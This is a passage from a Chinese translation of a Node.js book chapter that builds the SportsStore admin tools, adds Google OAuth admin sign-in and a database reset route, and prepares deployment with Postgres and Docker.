 **sels.reduce((total, s) => total += (s.quantity * s.product.price), 0);** 

first 辅助器用于确定一个值是否是数组中的第一个元素,并确定插入客户详情和状态更改按钮的位置。这依赖于 Handlebars 的 each 辅助器,它提供了一个 @index 值,报告正在处理的元素的索引:

...
{{#if (first **@index**)}}
... 

total 辅助函数计算订单中产品选择的总额,并与现有的 currency 辅助函数结合,为订单创建格式化的总价格:

...
<td>{{currency (**total** selections)}}</td>
... 

种子数据中没有订单,因此检查管理功能的第一个步骤是创建一些订单。导航到 http://localhost:5000,将产品添加到购物车,并结账以创建订单。导航到 http://localhost:5000/admin,点击订单按钮,并使用按钮切换订单的运输状态,如图20.7所示。

图 20.7:更改订单的运输状态

修复 URL

HTMX 包对网络服务进行异步 HTTP 请求并显示结果,这是创建响应式应用程序的有效方法,但结果的行为不正确。要看到问题,请导航到 http://localhost:5000/admin,点击订单按钮,然后点击浏览器的刷新按钮。而不是重新加载订单表,显示的是产品,如图20.8所示。

图 20.8:重新加载浏览器

浏览器没有意识到用户交互的影响,重新加载实际上重置了客户端,显示了产品表。要解决这个问题,意味着定义一组允许直接导航到特定应用程序功能的路由,以及配置 HTMX 以添加在用户交互后针对这些路由的 URL。列表 20.41 定义了直接导航到产品表、订单表和特定产品编辑器的所需路由。

列表 20.41:向 src/routes/admin 文件夹中的 index.ts 文件添加直接路由

import { Express, Router } from "express";
import { createAdminCatalogRoutes } from "./admin_catalog_routes";
import { createAdminOrderRoutes } from "./admin_order_routes";
export const createAdminRoutes = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.layout = false;
        next();
    })
    const cat_router = Router();
    createAdminCatalogRoutes(cat_router);
    app.use("/api/products", cat_router);
    const order_router = Router();
    createAdminOrderRoutes(order_router);
    app.use("/api/orders", order_router);
    app.get("/admin", (req, resp) => resp.redirect("/admin/products"));
 **app.get("/admin/products", (req, resp) => {**
 **resp.locals.content = "/api/products/table";**
 **resp.render("admin/admin_layout"****);**
 **});**
 **app.get("/admin/products/edit/:id", (req, resp) => {**
 **resp.locals.content = `/api/products/edit/${req.params.id}`;**
 **resp.render("admin/admin_layout"****);**
 **});**
 **app.get("/admin/orders", (req, resp) => {**
 **resp.locals.content = "/api/orders/table";**
 **resp.render("admin/admin_layout");**
 **});**
} 

新的路由渲染 admin_layout 模板,其中 content 值指定 HTMX 应该用于请求内容的 URL。为了保持一致性,/admin 路由将重定向到 /admin/products URL。列表 20.42 更新了模板以使用新路由提供的 content 值。

列表 20.42:将 URL 加载到模板文件夹中的 admin 文件夹下的 admin_layout.handlebars 文件

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        <link href="/font/bootstrap-icons.min.css" rel="stylesheet">
        <script src="img/bundle.js" defer></script>
        <script src="img/htmx.min.js"></script>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row bg-info text-white py-2 px-1">
                <div class="col align-baseline pt-1">SPORTS STORE ADMIN</div>
                <div class="col-auto text-end"></div>
            </div>
            <div class="row p-2">
                <div class="col-2" id="area_buttons"></div>
                **<div class="col" id="content" hx-get="{{content}}"**
 **hx-trigger****="load"></div>**
            </div>
        </div>
    </body>
</html> 

提供 HTML 内容片段的 Web 服务 URL 对直接导航没有用,因为它们不提供完整的 HTML 文档。幸运的是,HTMX 支持添加到浏览器历史记录的 hx-push-url 属性,如列表 20.43 所示。

列表 20.43:将 URL 推送到模板文件夹中的 admin 文件夹下的 area_buttons.handlebars 文件

<swap_wrapper hx-swap-oob="innerHTML:#area_buttons">
    <div class="d-grid gap-2" >
        **<button** **id="products_btn" class="btn {{ buttonClass "products" mode }}"**
 **hx-get="/api/products/table" hx-target="#content"**
**hx-push-url="/admin/products">**
            Products
        </button>
        **<button id="orders_btn" class="btn {{ buttonClass "orders"** **mode }}"**
 **hx-get="/api/orders/table" hx-target="#content"**
 **hx-push-url="/admin/orders">**
            Orders
        </button>
    </div>
</swap_wrapper> 

当用户点击其中一个按钮时,HTMX 包会从网络服务请求一个 HTML 片段,但会将一个直接导航的 URL 添加到浏览器的历史记录中。列表 20.44 将相同的属性应用于启动产品编辑过程的按钮。

列表 20.44:将 URL 推送到模板文件夹中的 admin 文件夹下的 product_row.handlebars 文件

<tr id="row{{ id }}">
    <td>{{ id }}</td>
    <td>{{ name }}</td>
    <td>{{ category.name  }}</td>
    <td>{{ supplier.name  }}</td>
    <td class="text-end">{{ currency price}}</td>
    <td class="ps-3">       
       ** <button class="btn btn-sm btn-warning"**
**hx-get="****/api/products/edit/{{id}}" hx-target="#content"**
 **hx-push-url="/admin/products/edit/{{id}}">**
                Edit
            </button>
        <button class="btn btn-sm btn-danger"
            hx-delete="/api/products/{{id}}" hx-target="#row{{id}}"
                    hx-swap="delete">
                Delete
        </button>           
    </td>
</tr> 

导航到 http://localhost:5000/admin,你的浏览器将被重定向到 http://localhost:5000/admin/products。点击 订单 按钮,URL 栏将显示 http://localhost:5000/admin/orders,即使 HTMX/api/orders/table URL 发送了 HTTP 请求。

点击刷新按钮,浏览器将显示 订单 列表。(当文件更改时,数据库将被重置,且不会包含任何订单。)请求 http://localhost:5000/admin/products/edit/2,你将看到 Lifejacket 产品的编辑器,如 图 20.9 所示。

图 20.9:直接导航到应用程序功能

限制对管理功能的访问

应限制对管理功能的访问权限仅限于批准的用户,这意味着需要实现身份验证和授权。应用程序已经支持使用 Google 账户识别用户,并且限制访问的最快方法是配置应用程序以限制对预定义账户列表的访问。

注意

使用 OAuth 进行管理员身份验证是识别用户的有用方式,但在实际项目中应小心处理,以确保在 OAuth 服务不可用的情况下仍能以某种形式访问管理权限。

首先,导航到 console.developers.google.com,点击 凭证,然后选择 编辑 OAuth 客户端 操作,该操作由铅笔图标表示,如 图 20.10 所示。

图 20.10:编辑 OAuth 客户端

将以下网址添加到 授权重定向 URI 部分:

  • http://localhost:5000/auth-signin-google

  • https://localhost/auth-signin-google

现在这个部分应有四个 URI,如 图 20.11 所示。点击 保存 以更新 OAuth 配置。

图 20.11:授权的重定向 URL

返回代码编辑器,添加一个新的 configuration 部分,为应用程序提供 OAuth 重定向和批准的管理用户列表,如 列表 20.45 所示。(你必须输入一个 Google 账户的电子邮件地址,并且你有该账户的凭证才能进行身份验证。)

列表 20.45:向 sportsstore 文件夹中的 server.config.json 文件添加配置部分

{
    "http": {
        "port": 5000,
        "content_security": {
            "contentSecurityPolicy": {
                "directives": {
                    "upgradeInsecureRequests": null
                }
            }           
        }       
    },

    // ...configuration settings omitted for brevity...
    "auth": {
        "openauth": {
            "redirectionUrl": "http://localhost:5000/signin-google"
        }
    },
    **"admin": {**
 **"openauth": {**
 **"redirectionUrl": "http://localhost:5000/auth-signin-google"**
 **},**
 **"users": ["alice@example.com", "your_account@google.com"]**
 **}**
} 

列表 20.46 创建了一个新的身份验证策略,并将一个新的属性添加到 User 接口中,以区分管理身份验证和下单身份验证。

列表 20.46:在 src 文件夹中的 authentication.ts 文件中创建策略

import { Express } from "express";
import { getConfig, getSecret } from "./config";
import passport from "passport";
import { Strategy as GoogleStrategy, Profile, VerifyCallback }
    from "passport-google-oauth20";
import { customer_repository } from "./data";
import { Customer } from "./data/customer_models";
const callbackURL: string = getConfig("auth:openauth:redirectionUrl");
const clientID = getSecret("GOOGLE_CLIENT_ID");
const clientSecret = getSecret("GOOGLE_CLIENT_SECRET");
**const authCallbackURL: string = getConfig("****admin:openauth:redirectionUrl")**
declare global {
    namespace Express {
        interface User extends Customer {
           ** adminUser?: boolean;**
        }
    }
}
export const createAuthentication = (app:Express) => {
    **passport.use("admin-auth", new GoogleStrategy({**
 **clientID, clientSecret, callbackURL: authCallbackURL,**
 **scope: ["email", "****profile"],**
 **state: true** 
 **}, (accessToken: string, refreshToken: string,**
 **profile: Profile, callback: VerifyCallback) => {**
 **return callback(null, {**
 **name: profile.displayName,**
**email: profile.emails?.[0].value ?? "",**
 **federatedId: profile.id,**
 **adminUser: true**
 **})** 
 **}));**
    passport.use(new GoogleStrategy({
        clientID, clientSecret, callbackURL,
        scope: ["email", "profile"],
        state: true
    } , async (accessToken: string, refreshToken: string,
            profile: Profile, callback: VerifyCallback) => {
        const emailAddr = profile.emails?.[0].value ?? "";           
        const customer = await customer_repository.storeCustomer({
            name: profile.displayName, email: emailAddr,
            federatedId: profile.id
        });
        const { id, name, email } = customer;
        return callback(null, { id, name, email });
    }));
    passport.serializeUser((user, callback) => {
        **callback(null, user.adminUser ? JSON.stringify(user) : user.id);**
    });
    **passport.****deserializeUser((id: number | string , callbackFunc) => {**
 **if (typeof id == "string") {**
 **callbackFunc(null, JSON.parse(id));**
 **}** **else {**
            customer_repository.getCustomer(id).then(user =>
                callbackFunc(null, user));
        }
    });
    app.use(passport.session());
} 

新策略以 admin-auth 命名创建,以区分现有的 OAuth 策略。新的回调 URL 从配置文件中读取,并用于创建策略,回调函数创建一个具有 adminUser 属性设置为 true 的用户。

管理用户详情没有持久化数据存储,因此serializeUserdeserializeUser函数已被修改,以便在adminUser属性为true时将整个User对象序列化到会话中。

需要一组新的路由来处理管理身份验证,以及中间件组件来授权请求,如图列表 20.47所示。

列表 20.47:向 src/routes/admin 文件夹中的 index.ts 文件添加路由和中间件

import { Express, NextFunction, Request, Response, Router } from "express";
import { createAdminCatalogRoutes } from "./admin_catalog_routes";
import { createAdminOrderRoutes } from "./admin_order_routes";
**import passport from "passport";**
**import { getConfig} from "../../config";**
**const users: string[] = getConfig("admin:users", []);**
export const createAdminRoutes = (app: Express) => {
    app.use((req, resp, next) => {
        resp.locals.layout = false;
        **resp.locals.user = req.user;**
        next();
    });
    **app.get("****/admin/signin", (req, resp) => resp.render("admin/signin"));**
 **app.post("/admin/signout", (req, resp) =>**
 **req.logOut(****() => { resp.redirect("/admin/signin") }));**
 **app.get("/admin/google", passport.authenticate("admin-auth"));**
 **app.get("/auth-signin-google", passport.authenticate("****admin-auth", {**
 **successRedirect: "/admin/products", keepSessionInfo: true**
 **}));** 
 **const authCheck = (r: Request) => users.find(u =>** **r.user?.email === u);**
 **const apiAuth = (req: Request, resp: Response, next: NextFunction) => {**
 **if (!authCheck(req)) {**
 **return resp.sendStatus(401****)**
 **}**
 **next();**
 **};**
    const cat_router = Router();
    createAdminCatalogRoutes(cat_router);
  **  app.use("/api/products", apiAuth, cat_router);**
    const order_router = Router();
    createAdminOrderRoutes(order_router);
    **app.use****("/api/orders", apiAuth, order_router);**
    c**onst userAuth = (req: Request, resp: Response, next: NextFunction) => {**
 **if (!authCheck(req)) {**
 **return resp.redirect("/admin/signin");**
 **}**
 **next****();**
 **};**
 **app.get("/admin", userAuth, (req, resp) =>**
        resp.redirect("/admin/products"));
    **app.get("/admin/products", userAuth, (req, resp) =>** **{**
        resp.locals.content = "/api/products/table";
        resp.render("admin/admin_layout");
    })
   ** app.get("/admin/products/edit/:id", userAuth, (req, resp) => {**
        resp.locals.content = `/api/products/edit/${req.params.id}`;
        resp.render("admin/admin_layout");
    })
   ** app.get("/admin/orders", userAuth, (req, resp) => {**
        resp.locals.content = "/api/orders/table";
        resp.render("admin/admin_layout");
    })
} 

新的路由用于提示用户登录,允许用户再次注销,并处理谷歌 OAuth 重定向。中间件组件检查已登录用户是否来自配置文件中批准的用户列表,对于直接导航路由提供重定向响应,对于网络服务路由提供401响应。

要定义当用户需要登录时将渲染的模板,请将名为signin.handlebars的文件添加到templates/admin文件夹中,其内容如列表 20.48所示。

列表 20.48:在 templates/admin 文件夹中的 signin.handlebars 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        <link href="/font/bootstrap-icons.min.css" rel="stylesheet">
        {{#if (isDevelopment) }}
            <script src="img/bundle.js"></script>
        {{/if }}
    </head>
    <body>
        <div class="container-fluid">
            <div class="row bg-info text-white py-2 px-1">
                <div class="col align-baseline pt-1">SPORTS STORE ADMIN</div>
                <div class="col-auto text-end"></div>
            </div>
            <div class="row p-2">
                <div class="col"></div>
                <div class="col-auto">
                    <a class="btn btn-primary" href="/admin/google">
                        <i class="bi bi-google"></i>
                        Sign in with Google Account
                    </a>                 
                </div> 
                <div class="col"></div>
            </div>
        </div>
    </body>
</html> 

最后一步是显示已登录用户的名字并提供一个注销按钮,如图列表 20.49所示。

列表 20.49:向 templates/admin 文件夹中的 admin_layout.handlebars 文件添加用户详情

<!DOCTYPE html>
<html>
    <head>
        <link href="/css/bootstrap.min.css" rel="stylesheet" />
        <link href="/font/bootstrap-icons.min.css" rel="stylesheet">
        {{#if (isDevelopment) }}
            <script src="img/bundle.js"></script>
        {{/if }}
        <script src="img/htmx.min.js"></script>
    </head>
    <body>
        <div class="container-fluid">
            <div class="row bg-info text-white py-2 px-1">
                <div class="col align-baseline pt-1">SPORTS STORE ADMIN</div>
                <div class="col-auto text-end">
                    **{{#if user }}**
 **({{user.name}})**
 **<button class****="btn btn-secondary"**
 **hx-post="/admin/signout" hx-target="body"**
 **hx-push-url="/admin/signin">**
 **<i class****="bi bi-box-arrow-right"></i>** 
 **</button>**
 **{{/if}}**
                </div>
            </div>
            <div class="row p-2">
                <div class="col-2" id="area_buttons"></div>
                <div class="col" id="content" hx-get="{{content}}"
                    hx-trigger="load"></div>
            </div>
        </div>
    </body>
</html> 

导航到http://localhost:5000/admin,系统会提示您使用谷歌账户登录,如图图 20.12所示。如果账户在批准列表中,则在身份验证过程完成后,您将被重定向到管理功能。点击窗口顶部的按钮将使用户从应用程序中注销。

图片

图 20.12:登录管理功能

摘要

在本章中,我创建了管理工具来管理目录并设置订单发货状态:

  • 管理功能使用返回 HTML 片段的 RESTful 网络服务,这些片段使用HTMX包显示。

  • 状态由服务器管理,服务器渲染模板以生成由网络服务返回的 HTML 片段。

  • 将 URL 添加到浏览器的历史记录中,以便重新加载和后退按钮按预期工作。

  • 管理功能的访问权限仅限于使用其谷歌账户进行身份验证的授权用户。

在下一章中,我将为SportsStore应用程序准备部署。

第二十一章:SportsStore:部署

在本章中,我完成了 SportsStore 应用程序,并为其部署到容器平台做准备。作为准备的一部分,我将从基于文件的 SQLite 数据库迁移到传统的数据库服务器,并引入 HTTPS 代理,这将允许多个 SportsStore 应用程序实例接收请求并分担负载。

准备本章

本章使用的是来自第二十章sportsstore 项目。打开一个新的命令提示符,导航到 sportsstore 文件夹,并运行列表 21.1中显示的命令以启动开发工具。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

列表 21.1:启动开发工具

npm start 

打开一个新的浏览器窗口,导航到 http://localhost:5000,您将看到产品目录,如图图 21.1所示。

图 21.1:运行应用程序

安装 Docker Desktop

部署应用程序有许多方法,我无法一一描述。相反,我选择了提供最大灵活性的方法,即使用容器。容器是轻量级的虚拟机,运行自包含的镜像,并使用标准工具构建和部署。容器是可移植的,可以部署到私有和云基础设施,这使得它们成为大多数应用程序的好选择。

创建和管理容器最流行的工具是 Docker。访问 docker.com,下载并安装 Docker Desktop 软件包。遵循安装过程,重新启动您的计算机,并运行列表 21.2中显示的命令以检查 Docker 是否已安装并位于您的路径中。(Docker 的安装过程似乎经常变化,这就是为什么我没有更具体地说明过程。)

您需要在 docker.com 上创建一个账户;Docker 的免费版本包含了本章所需的所有功能,而付费服务不是必需的。

列表 21.2:检查 Docker Desktop 安装

docker --version 

如果 Docker 已安装并正在运行,您将看到类似以下响应:

Docker version 25.0.3, build 4debf41 

您可能看到不同的版本号,但这没关系,因为重点是确保 Docker Desktop 正在运行。

管理数据库

在本书的这一部分,SportsStore 应用程序已被配置为每次服务器启动时自动重新创建和初始化数据库。我通常喜欢在自己的项目中采用这种方法,但对于本书的示例来说,它特别有用,因为它确保读者始终在干净的数据上工作,并消除了一个潜在的问题,即代码更改与数据库模式不同步。

在生产环境中,每次服务器启动时不应重置数据库,但在初始部署期间确保数据库被创建和播种仍然很重要。为了扩展管理工具,以便可以重置和重新播种数据库,请将名为 database_routes.ts 的文件添加到 src/routes/admin 文件夹中,内容如 列表 21.3 所示。

列表 21.3:src/routes/admin 文件夹中 database_routes.ts 文件的内容

import { Router } from "express";
import { CategoryModel, ProductModel, SupplierModel }
    from "../../data/orm/models";
import { readFileSync } from "fs";
import { getConfig } from "../../config";
export const createDbManagementRoutes = (router: Router) => {
    router.get("", (req, resp) => {
        resp.render("admin/db_mgt");
    });
    router.post("/reset", async (req, resp) => {
        await ProductModel.sequelize?.drop();
        await ProductModel.sequelize?.sync();
        const data = JSON.parse(readFileSync(getConfig("catalog:orm_repo")
            .seed_file).toString());
        await ProductModel.sequelize?.transaction(async (transaction) => {
            await SupplierModel.bulkCreate(data.suppliers, { transaction });
            await CategoryModel.bulkCreate(data.categories, { transaction });
            await ProductModel.bulkCreate(data.products, { transaction });
        });
        resp.render("admin/db_mgt", {
            admin_msg: "Products database reset and seeded"
        });
    });
} 

GET 请求的处理程序渲染一个名为 admin/db_mgt 的模板,该模板将使用户能够重置数据库。POST 请求的处理程序通过添加到模型类的 sequelize 属性访问由存储库创建的 Sequelize 对象,调用 dropsync 方法来重置数据库,然后使用种子数据填充数据库。列表 21.4 启用新路由并定义了一个直接导航 URL。

列表 21.4:在 src/routes/admin 文件夹中的 index.ts 文件中启用路由

import { Express, NextFunction, Request, Response, Router } from "express";
import { createAdminCatalogRoutes } from "./admin_catalog_routes";
import { createAdminOrderRoutes } from "./admin_order_routes";
import passport from "passport";
import { getConfig} from "../../config";
**import** **{ createDbManagementRoutes } from "./database_routes";**
const users: string[] = getConfig("admin:users", []);
export const createAdminRoutes = (app: Express) => {
    // ... routes omitted for brevity...
    const authCheck = (r: Request) => users.find(u => r.user?.email === u);
    const apiAuth = (req: Request, resp: Response, next: NextFunction) => {
        if (!authCheck(req)) {
            return resp.sendStatus(401)
        }
        next();
    };
    const cat_router = Router();
    createAdminCatalogRoutes(cat_router);
    app.use("/api/products", apiAuth, cat_router);
    const order_router = Router();
    createAdminOrderRoutes(order_router);
    app.use("/api/orders", apiAuth, order_router);
    **const db_router =** **Router();**
 **createDbManagementRoutes(db_router);**
 **app.use("/api/database", apiAuth, db_router);**
    const userAuth = (req: Request, resp: Response, next: NextFunction) => {
        if (!authCheck(req)) {
            return resp.redirect("/admin/signin");
        }
        next();
    };
    // ...other routes omitted for brevity...
    app.get("/admin/orders", userAuth, (req, resp) => {
        resp.locals.content = "/api/orders/table";
        resp.render("admin/admin_layout");
    })
   ** app.get("/admin/database", userAuth, (req, resp) => {**
 **resp.locals.content = "****/api/database";**
 **resp.render("admin/admin_layout");**
 **})** 
} 

将名为 db_mgt.handlebars 的文件添加到 templates/admin 文件夹中,内容如 列表 21.5 所示。

列表 21.5:templates/admin 文件夹中 db_mgt.handlebars 文件的内容

{{> admin/area_buttons mode="database"}}
<div class="m-2">
    <h5 class="text-danger text-center">{{admin_msg}}</h5>
</div>
<div class="m-2 text-center">
    <button class="btn btn-danger m-2"
        hx-post="/api/database/reset"
        hx-target="#content">Reset & Seed Database</button>
</div> 

模板包含一个发送到在 列表 21.4 中定义的处理器的 POST 请求的 button 元素,以及一个显示处理器提供的消息的 h5 元素。列表 21.6area_buttons 模板中添加了一个按钮,以便将数据库功能包含在向用户展示的内容中。

列表 21.6:在 templates/admin 文件夹中的 area_buttons.handlebars 文件中添加按钮

<swap_wrapper hx-swap-oob="innerHTML:#area_buttons">
    <div class="d-grid gap-2" >
        <button id="products_btn" class="btn {{ buttonClass "products" mode }}"
            hx-get="/api/products/table" hx-target="#content"
            hx-push-url="/admin/products">
            Products
        </button>
        <button id="orders_btn" class="btn {{ buttonClass "orders" mode }}"
            hx-get="/api/orders/table" hx-target="#content"
            hx-push-url="/admin/orders">
            Orders
        </button>
      **  <button id****="db_btn" class="btn {{ buttonClass "database" mode }}"**
 **hx-get="/api/database" hx-target="#content"**
 **hx-push-url="****/admin/database">**
 **Database**
 **</button>**
    </div>
</swap_wrapper> 

使用浏览器请求 http://localhost:5000/admin,使用 OAuth 进行身份验证,然后点击几个产品的 删除 按钮。你移除多少或哪些产品都无关紧要,因为目的是确保数据库被重置并重新播种。点击 数据库 按钮,然后点击 重置并播种数据库。一旦数据库被重置,点击 产品 按钮,你将看到如图 21.2 所示的原始数据。

图 21.2:重置数据库

切换应用程序环境

SportsStore 应用程序将在 Docker 容器中部署,该容器被配置为将应用程序环境设置为 production。能够在容器外部切换到生产环境以便为部署准备应用程序是有帮助的。一种方法是通过启动 Node.js 所使用的命令提示符设置名为 NODE_ENV 的环境变量,但这在有多位开发者,每位开发者都有自己的命令提示符或 shell 偏好,并且他们以自己的方式处理环境变量时可能难以做到一致。一种更可靠的方法是依赖于 dotenv 包,该包从文件中读取环境变量。

sportsstore文件夹中添加一个名为overrides.env的文件,内容如列表 21.7所示。这是一个临时文件,只是为了确认在准备部署之前应用程序的行为是否符合预期。

列表 21.7:sportsstore 文件夹中overrides.env文件的内容

NODE_ENV=production 

列表 21.8使用dotenv包读取.env文件,这是在应用程序启动时完成的。

列表 21.8:在 src/config 文件夹中的 index.ts 文件中读取.env 文件

import { readFileSync } from "fs";
import { getEnvironment, Env } from "./environment";
import { merge } from "./merge";
import { config as dotenvconfig } from "dotenv";
**dotenvconfig({ path: "overrides.env", override: false});**
const file = process.env.SERVER_CONFIG ?? "server.config.json"
const data = JSON.parse(readFileSync(file).toString());
dotenvconfig({
    path: getEnvironment().toString() + ".env"
})
try {
    const envFile = getEnvironment().toString() + "." + file;
    const envData = JSON.parse(readFileSync(envFile).toString());
    merge(data, envData);
} catch {
    // do nothing - file doesn't exist or isn't readable
}
export const getConfig = (path: string, defaultVal: any = undefined) => {
    const paths = path.split(":");
    let val = data;
    paths.forEach(p => val = val[p]);
    return val ?? defaultVal;
}
export const getSecret = (name: string) => {
    const secret = process.env[name];
    if (secret === undefined) {
        throw new Error(`Undefined secret: ${name}`);
    }
    return secret;
}
export { getEnvironment, Env }; 

您可能会想覆盖在第十六章中创建的config模块中getEnvironment返回的值。这将影响所有为使用config模块而编写的自定义SportsStore代码,但它不会改变SportsStore所依赖的第三方包的行为。NODE_ENV环境变量是一个广泛使用的约定,许多包根据其值改变其行为。例如,将 Handlebars 模板集成到 Express 框架中的express-handlebars包,当NODE_ENV设置为生产时,会自动编译和缓存模板文件。

应用程序无法在生产模式下运行,因为没有为用于签名会话 cookie 或执行 OAuth 请求的秘密设置。列表 21.9overrides文件中添加了设置,以便应用程序可以准备部署。

列表 21.9:在 sportsstore 文件夹中的 overrides.env 文件中添加设置

NODE_ENV=production
**COOKIE_SECRET="sportsstoresecret"**
**GOOGLE_CLIENT_ID=<enter your client ID>**
**GOOGLE_CLIENT_SECRET=<enter your secret>** 

您必须将列表 21.9中的占位符文本替换为在第十九章配置 OAuth 时 Google 提供的客户端 ID 和秘密。没有这些设置,应用程序将启动,但您将无法使用管理工具进行身份验证并填充数据库。

停止应用程序,并在sportsstore文件夹中运行列表 21.10中显示的命令以仅启动 Node.js 服务器。在开发期间确保客户端更新的webpack打包器现在不再需要。

列表 21.10:启动 Node.js 服务器

npm run server 

当有更改时,服务器仍将构建和重启,但 webpack 开发服务器不会启动,overrides.env文件中配置的production环境意味着 Node.js 服务器将处理所有 HTTP 请求,而不会尝试转发它们。在继续之前,请通过浏览器请求http://localhost:5000来检查应用程序是否运行正确,它应该显示图 21.3中的目录显示。

图 21.3:在生产模式下运行应用程序

使用数据库服务器

到现在为止,应该很清楚我是一个 SQLite 数据库的超级粉丝,它包含了许多功能,并且被每个主要包和框架支持。SQLite 的主要限制是它不能在多个 Node.js 服务器之间轻松共享,因此是时候迁移到一个可以通过网络查询的传统数据库服务器了。在本章中,我将使用 PostgreSQL,通常简称为 Postgres。正如我在第二部分中提到的,所有主流数据库都很好,但我选择 Postgres 是因为它是最受欢迎的开源数据库,并且它得到了Sequelize ORM 包的良好支持。

使用 Postgres 最简单的方法是在容器中运行数据库服务器。

打开一个新的命令提示符,并运行列表 21.11中显示的命令以下载 Postgres 的镜像,并使用它创建一个新的容器。由于第一次使用时需要下载镜像,因此命令可能需要一些时间来完成,但后续操作将使用缓存。

列表 21.11:创建容器

docker run -e POSTGRES_PASSWORD=MySecret$ -p 5432:5432 postgres:16.2 

docker run命令创建一个新的容器。-e参数设置容器的环境变量,在这种情况下,用于设置访问数据库服务器的密码。-p参数配置网络端口,用于公开端口5432,以便可以从主机操作系统访问,允许从容器外部使用数据库服务器。保持命令提示符打开。容器将一直运行,直到使用Ctrl + C终止docker run命令。

sportsstore文件夹中运行列表 21.12中显示的命令,安装允许 Sequelize 与 Postgres 一起工作的包。

列表 21.12:添加数据库包

npm install pg@8.11.3
npm install pg-hstore@2.3.4 

表 21.1描述了这些包以供快速参考。

表 21.1:CookieOptions 包

名称 描述
pg 此包包含与 Postgres 服务器通信的支持。
pg-hstore 此包包含在 Postgres 数据库中存储 JSON 数据的功能。

sportsstore文件夹中添加一个名为production.server.config.json的文件,其内容如列表 21.13所示。

列表 21.13:sportsstore 文件夹中 production.server.config.json 的内容

{
    "catalog": {
        "orm_repo": {
            "reset_db": false,
            "settings": {
                "dialect": "postgres",
                "host": "localhost",
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }
    },
    "sessions": {
        "reset_db": false,
        "orm": {
            "settings": {
                "dialect": "postgres",
                "host": "localhost",
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }       
    }
} 

列表 21.13中的设置会覆盖server.config.json文件中定义的设置,并且仅在应用程序处于production环境时应用。这两个配置部分都禁用了每次重置数据库,并提供了连接到容器中数据库的配置设置。

停止 Node.js 应用程序,并在sportstore文件夹中运行列表 21.14中显示的命令,以使用新的配置文件重新启动它。

列表 21.14:启动应用程序

npm run server 

应用程序应连接到 Postgres 数据库服务器。使用浏览器请求 http://localhost:5000/admin,使用 Google 账户进行身份验证,并通过点击 数据库 部分的 重置 & 种子 数据库 按钮来填充数据库。点击 产品 选择以确认数据库已被填充,如图 图 21.4 所示。

图片

图 21.4:填充数据库

确认 SportsStore 与 Postgres 一起工作后,使用 Ctrl + C 停止应用程序和数据库。

创建 SportsStore Docker 镜像

下一步是准备一个包含 Node.js、SportsStore 应用程序、它所依赖的所有包、模板和配置文件的镜像。第一步是创建一个文件,告诉 Docker 忽略 node_modules 文件夹,因为所有文件夹都会被扫描,这会导致镜像创建速度变慢。在 sportsstore 文件夹中创建一个名为 .dockerignore 的文件,其内容如 列表 21.15 所示。

列表 21.15:sportsstore 文件夹中 .dockerignore 文件的内容

node_modules 

下一步是创建一个文件,告诉 Docker 如何创建镜像。将一个名为 Dockerfile(不带文件扩展名)的文件添加到 sportsstore 文件夹中,其内容如 列表 21.16 所示。

列表 21.16:sportsstore 文件夹中 Dockerfile 文件的内容

FROM node:20.10.0
RUN mkdir -p /usr/src/sportsstore
COPY dist /usr/src/sportsstore/dist
COPY templates /usr/src/sportsstore/templates
COPY products.json /usr/src/sportsstore/
COPY server.config.json /usr/src/sportsstore/
COPY production.server.config.json /usr/src/sportsstore/
COPY package.json /usr/src/sportsstore/
WORKDIR /usr/src/sportsstore
RUN npm install --omit=dev
RUN npm install wait-for-it.sh@1.0.0
ENV NODE_ENV=production
ENV COOKIE_SECRET="sportsstoresecret"
ENV GOOGLE_CLIENT_ID=<enter your ID>
ENV GOOGLE_CLIENT_SECRET=<enter your secret>
EXPOSE 5000
ENTRYPOINT npx wait-for-it postgres:5432 && node dist/server.js 

Dockerfile 包含一系列用于构建镜像的指令。FROM 命令告诉 Docker 使用本书中使用的 Node.js 版本的镜像作为基础,这简化了设置过程。

COPY 命令告诉 Docker 从项目复制文件到容器中。WORKDIR 命令更改后续命令的工作目录。此命令安装运行应用程序所需的包:

...
RUN npm install --omit=dev
... 

--omit 参数用于排除使用 npm install --save-dev 命令添加的包,这意味着像 TypeScript 编译器这样的包将不会包含在镜像中。

下一个命令安装一个仅在应用程序部署时才需要的包:

...
RUN npm install wait-for-it.sh@1.0.0
... 

在容器之间进行协调可能很困难,并且确保 SportsStore 应用程序在数据库服务器准备好接收请求之前不启动是很重要的。wait-for-it 包等待一个 TCP 端口被打开,这是一种简单且可靠的方法,确保在一个容器启动之前另一个容器中的应用程序已经准备好。

ENV 命令设置环境变量,并用于设置 production 模式和定义用于签名 cookie 和执行 Google OAuth 请求的秘密。

EXPOSE命令告诉 Docker 公开端口5000,这将允许 SportsStore 应用程序接收 HTTP 请求。ENTRYPOINT命令在容器启动时执行,并分为两部分。第一部分使用wait-for-it包阻塞,直到名为postgres的服务器上的端口5432打开。这是在组合应用程序和数据库服务器部分中将为数据库赋予的名称。第二部分在dist文件夹中运行server.js文件,这将启动SportsStore应用程序。

准备应用程序

镜像是应用程序及其相关文件的快照。在创建镜像之前,进行任何最终的配置更改并构建代码非常重要,以确保镜像中包含的 JavaScript 反映了最终的 TypeScript 代码。

列表 21.17将 Postgres 服务器的名称从localhost更改为postgres,这是在部署时将赋予数据库服务器的名称。

注意

在实际项目中,你还会更改 OAuth 重定向 URL,以便它们包含用户连接到服务的公共域名。SportsStore应用程序将仅在开发机器上使用,因此包含localhost的重定向 URL 将继续工作,但对于实际项目来说情况并非如此。

列表 21.17:在 sportsstore 文件夹中的 production.server.config.json 文件中更改服务器名称

{
    "catalog": {
        "orm_repo": {
            "reset_db": false,
            "settings": {
                "dialect": "postgres",
               ** "host": "postgres",**
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }
    },
    "sessions": {
        "reset_db": false,
        "orm": {
            "settings": {
                "dialect": "postgres",
 **"host": "postgres",**
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }       
    }
} 

sportsstore文件夹中运行列表 21.18中显示的命令,以运行 TypeScript 编译器来创建代码的最终构建版本。

列表 21.18:编译 TypeScript 代码

